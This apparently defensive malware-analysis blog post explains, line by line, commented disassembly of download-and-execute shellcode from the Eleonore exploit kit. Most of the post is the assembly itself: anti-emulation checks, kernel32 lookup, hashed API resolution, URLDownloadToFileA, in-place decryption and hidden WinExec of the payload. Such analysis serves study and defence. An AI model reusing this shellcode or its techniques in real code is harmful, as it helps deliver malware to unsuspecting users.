The shellcode described in this post was obtained from the Eleonore v1.2 exploit kit. High-level details about that kit are mentioned in my April 2012 blog post.

This post is a technical view of the actual shellcode and is intended to be instructive to the inquisitive reader. Since this code is relatively old, the main techniques (hashing API lookups, rol decryption, kernel32 address lookup) have been discussed before.

There are some other less-discussed bits of shellcode analysis, such as the anti-emulation code in the first segment below, that when viewed collectively with other shellcode analysis, may assist the reader in better understanding shellcode. So let's get into it.

Start:
mov eax, fs:18h; // Get the Thread Information Block (TIB)
mov eax, [eax + 30h]; // Get the Process Environment Block (PEB)
mov eax, [eax + 54h]; // Get ReadOnlyStaticServer Data pointer
mov eax, [eax + 4]; // Get Client Server Runtime Subsystem (CSRS) Object Port Name structure
mov eax, [eax + 4]; // Get the Object Directory of the CSRS port (kernel32 sets this to "C:\Windows" for sessionID of 0)
mov eax, [eax + 4]; // Get the 3rd and 4th characters of the Object Directory unicode string
or eax, 200020h; // Normalize these two characters to lower case
cmp eax, 77007Ch; // This checks that the Object Directory is "C:\Windows" by checking the two characters '\' and 'W'.
// This ensures outer program this shellcode is running in, is a Win32 app connected to the windows
// subsystem process (CSRSS) with a system or console sessionID, else return.
jz DetectPlatform;
retn
// pretty old standard method of retrieving kernel32.dll, to access GetProcAddr and LoadLibrary
// thereby accessing any functionality needed by shellcode
DetectPlatform:
xor eax, eax;
mov eax, fs:[eax + 30h]; // Get the PEB
js Win9xPlatform; // Jump if signed (9x systems PEB mapped above 0x80000000, NT mapped at 0x7FFDF000 roughly)
NTPlatform:
mov eax, [eax + 0Ch]; // For NT, get PEB.Ldr (loaded module list struct)
mov esi, [eax + 1Ch]; // Get PEB_LDR_DATA.InInitializationOrderModuleList.Flink
lodsd; // Load from string from esi ptr to eax, loading second Flink entry
mov ebx, [eax + 8]; // Get base address of kernel32.dll (prior to Windows 7)
jmp StackSetup;
Win9xPlatform:
mov eax, [eax + 34h];
lea eax, [eax + 7Ch];
mov ebx, [eax + 3Ch]; // Get base addr of kernel32.dll
StackSetup:
push 4Eh;
pop edx;
shl edx, 1; // 0x4E becomes 0x9C after shift
sub esp, edx; // increase stack by 0x9C
mov ebp, esp; // Move stack frame for shellcode space
mov [ebp + 10h], 'xe.n';
mov [ebp + 14h], 1FFh; // Size of shellcode
mov [ebp], 0; // Iteration 0
jmp DownloadMalware;
DownloadMalware:
lea edi, [ebp + 1Ch]; // Load address from newly creates stack space
push edi; // lpBuffer
push edx; // nBufferLength (this = 0x9C, size of string to hold temp dir, c:\temp)
mov eax, 5B8ACA33h; // HASH of GetTempPathA
call FindFuncHash; // This routine as discussed in previous blog is an spatially efficient way to look up API by its hash value
xor al, al; // Zero out for scan function
mov esi, edi;
repne scasb; // Repeat while not equal, scans string for 0 (get length of temp dir path)
dec edi;
mov eax, [ebp + 10h]; // Store "xe.n" from above or later "xe.y"
stosd; // Put xe.n at the end of the string rom edi, C:\TEMP
cbw; // Convert byte to word, so ax now = "nn" or "yy" later
stosw; // Put "nn" to "n.ex" or later "yy" to y.exe to yield nnn.ex, yyy.ex
xor eax, eax;
mov eax, 'da';
push eax;
push 'erhT';
xor eax, 74691C24h; // 0x74697845 = "tixE" (Constructing ExitThread)
push eax; // lpProcName = "Exit"
push esp; // lpProcName = "Thread" (continued)
push ebx; // Base address of kernel32.dll
mov eax, 7C0DFCAAh; // HASH of GetProcAddress
call [ebp + 18h]; // This calls the FindFuncHash routine and then executes GetProcAddress with arguement of ExitThread routine
add esp, 0Ch; // Increase stack temporarily
push eax; // Save absolute address of ExitThread routine
mov al, 'l';
mov ah, al; // "ll"
cwde; // Convert word to double extended
push eax;
push 'd.no';
push 'mlru';
push esp; // lpFileName = "urlmon.dll"
mov eax, 0EC0E4E8h; // HASH of LoadLibraryA routine
call [ebp + 18h]; // Execute LoadLibraryA routine with urlmon.dll
add esp, 0Ch; // decrease stack
xchg eax, ebx; // ebx now holds handle to loaded URLmon module
push eax;
xor eax, eax;
push eax; // lpBinStatusCallBack = NULL
push eax; // dwReserved = 0
push esi; // szFileName = "C:\TEMP\(nnn.ex|yyy.ex)"
mov edx, [ebp + 18h];
add edx, [ebp + 14h]; // Add the 0x1ff shellcode size to the 0x67 offset for a relative addr of 0x266
push edx; // szURL = string at 0x266 (the actual URL is appended to shellcode when it is put into play, not included in analysis)
push eax; // pCaller = NULL
mov eax, 702F1A36h; // HASH of URLDownloadToFileA routine
call [ebp + 18h]; // Execute URLDownloadToFileA routine on a specific URL to download data and store into the (nnn.ex|yyy.ex) files
pop ebx;
cmp [ebp], 1; // 2nd iteration do we decrypt downloaded malware file
jnz ExecuteMalware;
DecryptedMalware:
push 0; // hTemplateFile = NULL
push 80h; // dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
push 3; // dwCreationDisposition = OPEN_EXISTING
push 0; // lpSecurityAttributes = NULL
push 3; // dwShareMode = READ | WRITE
push 0C0000000h; // dwDesiredAccess = GENERIC_ALL
push esi; // lpFileName = C:\TEMP\yyy.ex
mov eax, 7C0017A5h; // HASH of CreateFile routine
call [ebp + 18h]; // Execute the CreateFile routine with the above arguments
mov [ebp + 4], eax; // Handle to the file that downloaded malware
push 4; // flProtect = PAGE_READWRITE
push 1000h; // flAllocationType = MEM_COMMIT
push 80000h; // dwSize = 0x80000
push 0; // lpAddress = NULL
mov eax, 91AFCA54h; // HASH of VirtualAlloc routine
call [ebp + 18h]; // Execute VirtualAlloc routine with above arguments to create 0x80000 space for downloaded malware to be decrypted into
mov [ebp + 0Ch], eax; // Base address of the allocated region
push eax; // Save this address
push 0; // lpOverlapped = NULL
lea ecx, [ebp + 4];
push ecx; // lpNumberOfBytesRead = dword in shellcode stack space
push 80000h; // nNumberOfBytesToRead = 0x80000
push eax; // lpBuffer = base addr of virtually allocated region
push [ebp + 4]; // hFile = C:\TEMP\yyy.ex
mov eax, 10FA6516h; // HASH of ReadFile routine
call [ebp + 18h]; // Execute ReadFile routine and get contents for file and put into virutally allocated memory region
pop edi; // File handle of C:\TEMP\yyy.ex
mov edx, [edi];
add edi, 4;
mov ecx, [ebp + 8]; // Number of bytes read from the ReadFile call
sub ecx, 4;
call DecryptBytes; // Routine that decrypts these malware bytes in place (see previous blog post for this routine)
push 0; // dwMoveMethod = FILE_BEGIN
push 0; // lpDistanceToMoveHigh = NULL
push 0; // lpDistanceToMove = NULL
push [ebp + 4]; // File handle of C:\TEMP\yyy.ex
mov eax, 76DA08ACh; // HASH of SetFilePointer routine
call [ebp + 18h]; // Execute SetFilePointer routine on file to ensure pointer is at the begining of file
push 0; // lpOverlapped = NULL
lea ecx, [ebp + 8];
push ecx; // lpNumberOfBytesWritten = dword in shellcode stack space
push [ebp + 8]; // nNumberOfBytesToWrite = num bytes from ReadFile call
push [ebp + 0Ch]; // lpBuffer = pointer to the new decrypted bytes in the virtual allocated memory space
add [esp + 10h], 4;
push [ebp + 4]; // hFile = handle to C:\TEMP\yyy.ex
mov eax, 0E80A791Fh; // HASH of WriteFile routine
call [ebp + 18h]; // Execute WriteFile routine on above arguments so we write decrypted bytes back to file
push [ebp + 4]; // hFile = handle to C:\TEMP\yyy.ex
mov eax, 0FFD97FBh; // HASH of CloseHandle routine
call [ebp + 18h]; // Execute CloseHandle routine on C:\TEMP\yyy.ex
mov [ebp], 2;
ExecuteMalware:
push edi; // uCmdShow = SW_HIDE
push esi; // lpCmdLine = "C:\TEMP\(nnn.ex|yyy.ex)"
mov eax, 0E8AFE98h; // HASH of WinExec routine
call [ebp + 18h]; // Execute WinExec on file, so execute malware
jmp loc_FFF;
HanaHou:
cmp [ebp], 2; // This is the second iteration and we exit shellcode here
jz FINI;
mov [ebp], 1;
mov [ebp + 10h], 'xe.y'; // next file name to use
mov [ebp + 14h], 172h;
mov edi, [ebp + 18h];
add edi, [ebp + 14h]; // Relative addr 0x1D9 (0x172 + 0x67)
mov ecx, 26h; // 0x26 bytes to decrypt
mov edx, [edi - 4]; // Start of encrypted buffer to decrypt
call DecryptBytes;
jmp DownloadMalware;
FINI:

Thanks for reading.

-- Nik Livic, MMPC